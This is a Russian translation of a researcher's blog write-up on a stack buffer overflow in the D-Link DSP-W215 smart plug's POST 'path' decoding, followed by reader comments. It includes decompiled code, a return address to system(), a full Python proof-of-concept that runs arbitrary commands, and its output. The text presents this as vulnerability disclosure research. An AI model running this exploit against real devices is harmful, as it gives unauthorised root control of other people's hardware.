Взламываем D-Link DSP-W215 Smart Plug: Опять, снова, еще раз

Автор оригинала: Craig
  • Перевод
image

В предыдущих сериях:
  1. Взламываем D-Link DSP-W215 Smart Plug
  2. Взламываем D-Link DSP-W215 Smart Plug. Снова
  3. Взламываем D-Link DSP-W215 Smart Plug. Снова и опять


До сих пор, все найденные в DSP-W215 уязвимости могли быть выполнены только из LAN, ну, если вы не глупец и не открыли доступ к Smart Plug из интернета.
Типичным способом атаки устройств со встроенным веб-сервером, доступным только из внутренней сети, типа того, что у DSP-W215 — через CSRF. Проблема этого метода в том, что любой веб-браузер будет кодировать (urlencode) передаваемые данные, например, адрес возврата, но до этого момента мы использовали уязвимости, которые не декодируют (urldecode) наши данные (уязвимость в функции replace_special_char, которую мы эксплуатировали в предыдущей статье, декодирует только ограниченный набор ASCII-символов).

Бинарный файл my_cgi.cgi, который является основной уязвимой целью, содержит функцию-декодировщик «decode», которая декодирует POST-данные. Этой функции передается два аргумента: указатель на закодированные данные и указатель на буфер, где хранятся раскодированные данные:
void decode(char *encode_buf, char *decode_buf);


Эта функция просто проходит циклом по всем байтам в encode_buf и раскодирует или копирует их в decode_buf:
image

Грубо говоря, ее код выглядит как-то так:
void decode(char *encode_buf, char *decode_buf)
{
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);
 
    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
    {
        /*
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...
         */
 
        decode_buf[0] = decoded_byte;
        decode_buf++;
        encoded_data += encoded_byte_len;
    }
}


Если вызывающая функция не позаботилась о выделении буфера размера достаточного, чтобы сохранить все декодированные данные, то этот буфер (decode_buf) может быть переполнен большим POST-параметром.
В my_cgi.cgi есть только одна функция, из которой вызывается функция декодирования — get_input_entries:
image

Как видим, функция «decode» вызывается только в том случае, если имя POST-параметра «path», а из memset можно увидеть, что буферу decode_buf выделяется всего 0×400 на стеке:
char decode_buf[0x400];
 
if(strcmp(entries[i]->name, "path") == 0)
{
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);
}
 
replace_special_char(entries[i]->value);


Это значит, что в случае, если мы передадим в POST-запросе значение «path» размером больше, чем 0×400 байт, произойдет переполнение буфера decode_buf на стеке внутри функции get_input_entries. И, что более интересно, у нас не будет «плохих» байт, т.к. функция «decode» все их раскодирует (например, превратит %00 в NULL-байт) перед копированием обратно на стек.

Однако, нам нужно проявить некоторую осторожность при составлении эксплоита, чтобы не вызвать переполнение буфера в функции replace_special_char, которая вызывается перед возвратом из get_input_entries.

К счастью, данные, которые передаются к replace_special_char предварительно проходят strcpy из decode_buf, поэтому, если мы поставим NULL-байт где-то ближе к началу POST-запроса, функции replace_special_char передастся строка очень маленькой длины (все то, что было до первого NULL-байта) вместо всего POST-запроса, который был раскодирован на стек.

POST-значение «path», длиной более 1060 байт, переполняет все в стековом фрейме функции get_input_entries, включая адрес возврата:
image

А из-за того, что у нас нет «плохих» байт, мы можем использовать адрес возврата 0x00405CEC, который мы использовали в предыдущих эксплоитах, чтобы вызвать system() с указателем на стек ($sp+0×28):
image

Вот небольшой код PoC на Python, который переполняет функцию get_input_entries, заменяет адрес возврата на вызов system() по адресу 0x00405CEC и запускает команду на стеке по смещению $sp+0×28:
import sys
import urllib
import urllib2
 
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s/common/info.cgi" % target
 
buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command, for good measure
 
# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')
 
# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}
 
req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()


Работает она, конечно же, как и полагается:
$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www
Поделиться публикацией

Похожие публикации

Комментарии 17

    +9
    Это всё хитрый план D-Link — скоро у автора оригинальной статьи переполнится буфер, выделенный на «again-again-again...». Я даже не знаю, что с ним тогда произойдёт.
      +4
      А мне-то как это переводить!?
        0
        Проверять, чтобы длина входящих данных была меньше размера буфера. =)
          +3
          И иконка есть, и флажочек, и даже ссылка на оригинал, а я до сих пор узнаю что статья перевод из комментариев.
            +6
            Я тоже не сразу заметил.

            В ближайшем будущем

            И всё равно будет не совсем заметно.
        0
        А я видел предыдущую КдПВ!
          +1
          Эта интересней.
            +1
            Я тоже видел. Она в группе в ВК сохранилась.
              +1
              А-а, ну так неинтересно.
            +1
            Неужели там нету пинов JTAG чтобы так мучатся? Там же вроде обычный AR1331 внутре.
              0
              Да уж куда проще gdbserver или IDAшный linux_server запустить на устройстве и отлаживать в IDA, чем цепляться через JTAG.
                0
                Эммм. Как понимаю, смысл взлома прошивки как раз в том, чтобы запускать собственные программы от рута. Или нет? Читал по-диагонали.
                  0
                  Смысл в том, что вы можете выполнять команды от рута, не имея физического доступа к устройству (но находясь в одной сети), или же (как в случае с этой статьей) вообще через интернет.
                    0
                    OK. Обычно вслед за этим идет изготовление собственной сборки (или адаптации например OpenWRT), где такая возможность есть штатно, а то придется постоянно ковырять прошивки изготовителя при выходе новых (что у автора и происходит). Собственно, JTAG был упомянут как инструмент для перешивки флеша навсегда и отказа от проприетарного ужоса.

                    А так, конечно, здорово.
                      0
                      Нет, вы не поняли. Автор не хочет установить стороннюю прошивку на устройство, он даже не хочет им пользоваться. Дело в уязвимостях в устройстве, которые позволяют любому человеку контролировать его, хотите вы того, или нет. Если интересно, почитайте первую статью, там суть подробно разъясняется.
              +1
              Фото навевает ужас…
                0
                Похожая штуковина, но с евророзеткой

                www.dx.com/p/edup-ep-3703-remote-control-wifi-socket-white-320169

                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                Самое читаемое